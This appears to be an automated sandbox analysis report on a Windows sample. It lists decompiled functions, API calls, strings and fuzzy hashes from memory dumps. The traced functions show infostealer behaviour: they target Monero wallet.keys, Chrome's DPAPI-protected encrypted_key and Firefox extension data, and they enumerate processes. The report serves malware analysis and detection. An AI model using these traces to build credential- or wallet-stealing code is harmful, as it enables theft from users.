Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 29604862746f1f498a56dcff9aa505305f5d6ec355fbf8cac39eaee275a61edf
Instruction ID: 93c307065438d1ce05463e9f33d95626e1012741c20e47d402e99156292bc1c0
Opcode Fuzzy Hash: 29604862746f1f498a56dcff9aa505305f5d6ec355fbf8cac39eaee275a61edf
Instruction Fuzzy Hash: DDE11F72C141489ADB44FBE4DC92EEE733AAF14300F50815EF51776191EF306A49DBAA

Function 006CD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D8B60: GetSystemTime.KERNEL32(006E0E1A,013E9B28,006E05AE,?,?,006C13F9,?,0000001A,006E0E1A,00000000,?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006D8B86

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006CD801
lstrlen.KERNEL32(00000000), ref: 006CD99F
lstrlen.KERNEL32(00000000), ref: 006CD9B3
DeleteFileA.KERNEL32(00000000), ref: 006CDA32

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5da2d92af68bc8c0b90fc282f08f4c3c28a0cf98bd3cba78975b2819905e5b77
Instruction ID: 7ca6ac66b7dd2d7894a3ddf170b6a4b21acf9f5b6365a985f0ca8aa4c069d85c
Opcode Fuzzy Hash: 5da2d92af68bc8c0b90fc282f08f4c3c28a0cf98bd3cba78975b2819905e5b77
Instruction Fuzzy Hash: F4813872C141449BCB44FBE4DC95EEE733AAF54300F50412EF40766291EF346A09DBAA

Function 006CF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
Part of subcall function 006C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
Part of subcall function 006C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
Part of subcall function 006C99C0: ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
Part of subcall function 006C99C0: LocalFree.KERNEL32(006C148F), ref: 006C9A90
Part of subcall function 006C99C0: CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

Part of subcall function 006D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,006E1580,006E0D92), ref: 006CF54C
lstrlen.KERNEL32(00000000), ref: 006CF56B

Strings

^userContextId=4294967295, xrefs: 006CF59C
moz-extension+++, xrefs: 006CF5AD

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d42fecfa08f115204b88b294a162e75a47681e3d3d6cc2b456bb0e52c36ca887
Instruction ID: f1e09d2bdcc5f6d8a611095bdc29c5150490be02e6f246a4a10e1409228a9df7
Opcode Fuzzy Hash: d42fecfa08f115204b88b294a162e75a47681e3d3d6cc2b456bb0e52c36ca887
Instruction Fuzzy Hash: 1C515175D14148ABDB44FBE0DC96DFD733AAF54300F40852DF806A7291EE346A09DBAA

Function 006D70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 006D718C
sm, xrefs: 006D72AE, 006D7179, 006D717C
sm, xrefs: 006D7111

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sm$sm$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1256021792
Opcode ID: 2c0f42879a564ae91da21604acb02790b24b8e6d43ab1e37d3e1736b05e8eee6
Instruction ID: a08ee4ff8e833e9f34f26b80b437e34ba61d1ee22e8e5d8e5eacc03f8442e18e
Opcode Fuzzy Hash: 2c0f42879a564ae91da21604acb02790b24b8e6d43ab1e37d3e1736b05e8eee6
Instruction Fuzzy Hash: 5E518CB0D042189FDB64EB90DC85BEEB376AF44304F1441AEE605A6281EB746F88CF59

Function 006C9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
Part of subcall function 006C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
Part of subcall function 006C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
Part of subcall function 006C99C0: ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
Part of subcall function 006C99C0: LocalFree.KERNEL32(006C148F), ref: 006C9A90
Part of subcall function 006C99C0: CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

Part of subcall function 006D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006C9D39

Part of subcall function 006C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9AEF
Part of subcall function 006C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006C4EEE,00000000,?), ref: 006C9B01
Part of subcall function 006C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9B2A
Part of subcall function 006C9AC0: LocalFree.KERNEL32(?,?,?,?,006C4EEE,00000000,?), ref: 006C9B3F

Part of subcall function 006C9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006C9B84
Part of subcall function 006C9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 006C9BA3
Part of subcall function 006C9B60: LocalFree.KERNEL32(?), ref: 006C9BD3

Strings

"encrypted_key":", xrefs: 006C9D30
, xrefs: 006C9DC1
DPAPI, xrefs: 006C9D89

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d76db2ee7df98c4f1c97c36aefc755b500da530df02e82bbc9004bbf613cfd14
Instruction ID: cc956f03c00ca20d989fce305940a28597a97d689ecbcbe35d2431882a739ec4
Opcode Fuzzy Hash: d76db2ee7df98c4f1c97c36aefc755b500da530df02e82bbc9004bbf613cfd14
Instruction Fuzzy Hash: 7E312DB5D10209ABCB04DBE4DC89FFEB7BAEF48304F14451DE906A7241E730AA04CBA5

Function 006D8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006E05B7), ref: 006D86CA
Process32First.KERNEL32(?,00000128), ref: 006D86DE
Process32Next.KERNEL32(?,00000128), ref: 006D86F3

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

CloseHandle.KERNEL32(?), ref: 006D8761

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 794a817db2da488d3f033b0b5dcc096605a44817a6ff93d1231bb9683d93340a
Instruction ID: fcb33abec429f5e7a12e9c5198f17bfc29d6b95451d6d39023b103c3d6489bc5
Opcode Fuzzy Hash: 794a817db2da488d3f033b0b5dcc096605a44817a6ff93d1231bb9683d93340a
Instruction Fuzzy Hash: D4318B71D15258AFCB64EF91CC45FEEB77AEF04700F10819EE50AA22A0DB306A45CFA5

Function 006D6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013E8840,?,006E110C,?,00000000,?,006E1110,?,00000000,006E0AEF), ref: 006D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006D6AE8
CloseHandle.KERNEL32(00000000), ref: 006D6AF9
Sleep.KERNEL32(00001770), ref: 006D6B04
CloseHandle.KERNEL32(?,00000000,?,013E8840,?,006E110C,?,00000000,?,006E1110,?,00000000,006E0AEF), ref: 006D6B1A
ExitProcess.KERNEL32 ref: 006D6B22

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
